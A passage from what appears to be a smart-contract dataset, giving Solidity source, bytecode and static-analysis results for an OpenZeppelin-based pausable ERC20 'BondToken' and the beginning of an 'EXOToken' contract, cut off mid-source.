ffffffffffffffffffffff92909216919091179055565b6118d661095f565b610a6b81610721565b6301e1338081565b600082821115611923576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906123e2565b600061192f83856128e9565b9150505b92915050565b60008261194857506000611933565b600061195483856128ac565b9050826119618583612741565b14611998576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612419565b9392505050565b610b048363a9059cbb60e01b84846040516024016119be92919061217f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152611cd8565b611a8273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000a0771dfe3e96218b97113faec7bbcbc3f500abe716333085611e2a565b6000670de0b6b3a7640000611a998461045c610fe9565b611aa39190612741565b600954909150611ab39084611e4b565b600955600a54611ac39082611e4b565b600a5573ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604081205490611af78286611e4b565b9050611b5381611b074288611939565b611b119190612741565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600560205260409020548390611b439086611939565b611b4d9190612741565b90611e4b565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260056020908152604080832093909355600b81528282208490556008905290812080549082611b9d83612900565b9091555073ffffffffffffffffffffffffffffffffffffffff8616600081815260066020908152604080832085845282528083208b9055838352600782528083208584528252808320899055928252600c90522054909150611bff9085611e4b565b73ffffffffffffffffffffffffffffffffffffffff86166000818152600c6020526040908190209290925590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90611c59908990612712565b60405180910390a2505050505050565b60006003821115611cca5750806000611c83600283612741565b611c8e906001612729565b90505b81811015611cc457905080600281611ca98186612741565b611cb39190612729565b611cbd9190612741565b9050611c91565b5061046f565b811561046f57506001919050565b611cf78273ffffffffffffffffffffffffffffffffffffffff16611e94565b611d2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e99061267e565b6000808373ffffffffffffffffffffffffffffffffffffffff1683604051611d559190612125565b6000604051808303816000865af19150503d8060008114611d92576040519150601f19603f3d011682016040523d82523d6000602084013e611d97565b606091505b509150915081611dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906122f3565b805115611e245780806020019051810190611dee919061200b565b611e24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e99061258d565b50505050565b611e24846323b872dd60e01b8585856040516024016119be939291906121a5565b600080611e588385612729565b905083811015611998576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906122bc565b3b151590565b80516dffffffffffffffffffffffffffff8116811461046f57600080fd5b600060208284031215611ec9578081fd5b813561199881612997565b60008060408385031215611ee6578081fd5b8235611ef181612997565b946020939093013593505050565b600080600060608486031215611f13578081fd5b8335611f1e81612997565b92506020840135611f2e81612997565b929592945050506040919091013590565b60008060408385031215611ee6578182fd5b60006020808385031215611f63578182fd5b825167ffffffffffffffff80821115611f7a578384fd5b818501915085601f830112611f8d578384fd5b815181811115611f9f57611f9f612968565b83810260405185828201018181108582111715611fbe57611fbe612968565b604052828152858101935084860182860187018a1015611fdc578788fd5b8795505b83861015611ffe578051855260019590950194938601938601611fe0565b5098975050505050505050565b60006020828403121561201c578081fd5b81518015158114611998578182fd5b60008060006060848603121561203f578283fd5b61204884611e9a565b925061205660208501611e9a565b9150604084015163ffffffff8116811461206e578182fd5b809150509250925092565b60006020828403121561208a578081fd5b5035919050565b6000602082840312156120a2578081fd5b5051919050565b600080604083850312156120bb578182fd5b8235915060208301356120cd81612997565b809150509250929050565b600080600080600060a086880312156120ef578081fd5b8535945060208601359350604086013560ff8116811461210d578182fd5b94979396509394606081013594506080013592915050565b60008251815b81811015612145576020818601810151858301520161212b565b818111156121535782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff97881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b60006040820184835260206040818501528185518084526060860191508287019350845b8181101561227a57845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101612248565b5090979650505050505050565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b60208082526037908201527f5374616b696e674c5052657761726446697865644150593a205468697320737460408201527f616b65206e6f6e6365207761732077697468647261776e000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a204164647265737360408201527f206973207a65726f000000000000000000000000000000000000000000000000606082015260800190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60408201527f7700000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526027908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7374616b65203000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f5374616b696e674c5052657761726446697865644150593a204e6f206c69717560408201527f696469747920666f722070616972000000000000000000000000000000000000606082015260800190565b60208082526034908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f726573637565207374616b696e6720746f6b656e000000000000000000000000606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7265736375652030000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b6020808252603a908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f72657363756520746f20746865207a65726f2061646472657373000000000000606082015260800190565b90815260200190565b918252602082015260400190565b6000821982111561273c5761273c612939565b500190565b600082612775577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b80825b600180861161278c57506127b7565b81870482111561279e5761279e612939565b808616156127ab57918102915b9490941c93800261277d565b94509492505050565b60006119987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846000826127f757506001611998565b8161280457506000611998565b816001811461281a576002811461282457612851565b6001915050611998565b60ff84111561283557612835612939565b6001841b91508482111561284b5761284b612939565b50611998565b5060208310610133831016604e8410600b8410161715612884575081810a8381111561287f5761287f612939565b611998565b612891848484600161277a565b8086048211156128a3576128a3612939565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128e4576128e4612939565b500290565b6000828210156128fb576128fb612939565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561293257612932612939565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114610a6b57600080fdfea2646970667358221220dee7d22ddd2a707dd1ba5885d61392ec1288d984399fbfae9887b3a93d42a8bc64736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,930 |
0xcb1fc914cf9b7ce568ab289ea126707c15e36047 | pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/BondToken.sol
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract BondToken is StandardToken, Ownable, Pausable {
using SafeMath for SafeMath;
string public constant name = "19BIX6M01";
string public constant symbol = "BIX1901";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 4030 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function setOwner(
address newOwner
)
public
onlyOwner
{
_transferOwnership(newOwner);
}
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
} | 0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806313af4035146101d857806318160ddd146101fb57806323b872dd146102225780632ff2e9dc1461024c578063313ce567146102615780633f4ba83a1461028c5780635c975abb146102a157806366188463146102b657806370a08231146102da578063715018a6146102fb5780638456cb59146103105780638da5cb5b1461032557806395d89b4114610356578063a9059cbb1461036b578063cae9ca511461038f578063d73dd623146103f8578063dd62ed3e1461041c578063f2fde38b146101d8575b600080fd5b34801561012257600080fd5b5061012b610443565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a036004351660243561047a565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101f9600160a060020a03600435166104a5565b005b34801561020757600080fd5b506102106104c8565b60408051918252519081900360200190f35b34801561022e57600080fd5b506101c4600160a060020a03600435811690602435166044356104ce565b34801561025857600080fd5b506102106104fb565b34801561026d57600080fd5b50610276610508565b6040805160ff9092168252519081900360200190f35b34801561029857600080fd5b506101f961050d565b3480156102ad57600080fd5b506101c4610585565b3480156102c257600080fd5b506101c4600160a060020a0360043516602435610595565b3480156102e657600080fd5b50610210600160a060020a03600435166105b9565b34801561030757600080fd5b506101f96105d4565b34801561031c57600080fd5b506101f9610642565b34801561033157600080fd5b5061033a6106bf565b60408051600160a060020a039092168252519081900360200190f35b34801561036257600080fd5b5061012b6106ce565b34801561037757600080fd5b506101c4600160a060020a0360043516602435610705565b34801561039b57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101c4948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107299650505050505050565b34801561040457600080fd5b506101c4600160a060020a0360043516602435610842565b34801561042857600080fd5b50610210600160a060020a0360043581169060243516610866565b60408051808201909152600981527f3139424958364d30310000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561049457600080fd5b61049e8383610891565b9392505050565b600354600160a060020a031633146104bc57600080fd5b6104c5816108f7565b50565b60015490565b60035460009060a060020a900460ff16156104e857600080fd5b6104f3848484610975565b949350505050565b68da777c20251838000081565b601281565b600354600160a060020a0316331461052457600080fd5b60035460a060020a900460ff16151561053c57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156105af57600080fd5b61049e8383610aea565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146105eb57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a0316331461065957600080fd5b60035460a060020a900460ff161561067057600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600781527f4249583139303100000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561071f57600080fd5b61049e8383610bd9565b600083610736818561047a565b1561083a576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156107ce5781810151838201526020016107b6565b50505050905090810190601f1680156107fb5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561081d57600080fd5b505af1158015610831573d6000803e3d6000fd5b50505050600191505b509392505050565b60035460009060a060020a900460ff161561085c57600080fd5b61049e8383610cb8565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a038116151561090c57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03831660009081526020819052604081205482111561099a57600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156109ca57600080fd5b600160a060020a03831615156109df57600080fd5b600160a060020a038416600090815260208190526040902054610a08908363ffffffff610d5116565b600160a060020a038086166000908152602081905260408082209390935590851681522054610a3d908363ffffffff610d6316565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610a7f908363ffffffff610d5116565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610b3e57336000908152600260209081526040808320600160a060020a0388168452909152812055610b73565b610b4e818463ffffffff610d5116565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b33600090815260208190526040812054821115610bf557600080fd5b600160a060020a0383161515610c0a57600080fd5b33600090815260208190526040902054610c2a908363ffffffff610d5116565b3360009081526020819052604080822092909255600160a060020a03851681522054610c5c908363ffffffff610d6316565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cec908363ffffffff610d6316565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610d5d57fe5b50900390565b81810182811015610d7057fe5b929150505600a165627a7a723058201c360148e6dff9365ca23324d1f57498ad8a7096a9be6462e79ff5ce691839110029 | {"success": true, "error": null, "results": {}} | 9,931 |
0xe58e751aba3b9406367b5f3cbc39c2fa9b519789 | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// https://github.com/ethereum/EIPs/issues/179
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// ERC20 interface, see https://github.com/ethereum/EIPs/issues/20
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Basic version of StandardToken, with no allowances.
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* Standard ERC20 token
* Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
//
contract EXOToken is StandardToken, Ownable {
uint8 constant PERCENT_BOUNTY=1;
uint8 constant PERCENT_TEAM=15;
uint8 constant PERCENT_FOUNDATION=11;
uint8 constant PERCENT_USER_REWARD=3;
uint8 constant PERCENT_ICO=70;
uint256 constant UNFREEZE_FOUNDATION = 1546214400;
//20180901 = 1535760000
//20181231 = 1546214400
///////////////
// VAR //
///////////////
// Implementation of frozen funds
mapping(address => bool) public frozenAccounts;
string public name;
string public symbol;
uint8 public decimals;
uint256 public UNFREEZE_TEAM_BOUNTY = 1535760000; //Plan end of ICO
address public accForBounty;
address public accForTeam;
address public accFoundation;
address public accUserReward;
address public accICO;
///////////////
// EVENTS //
///////////////
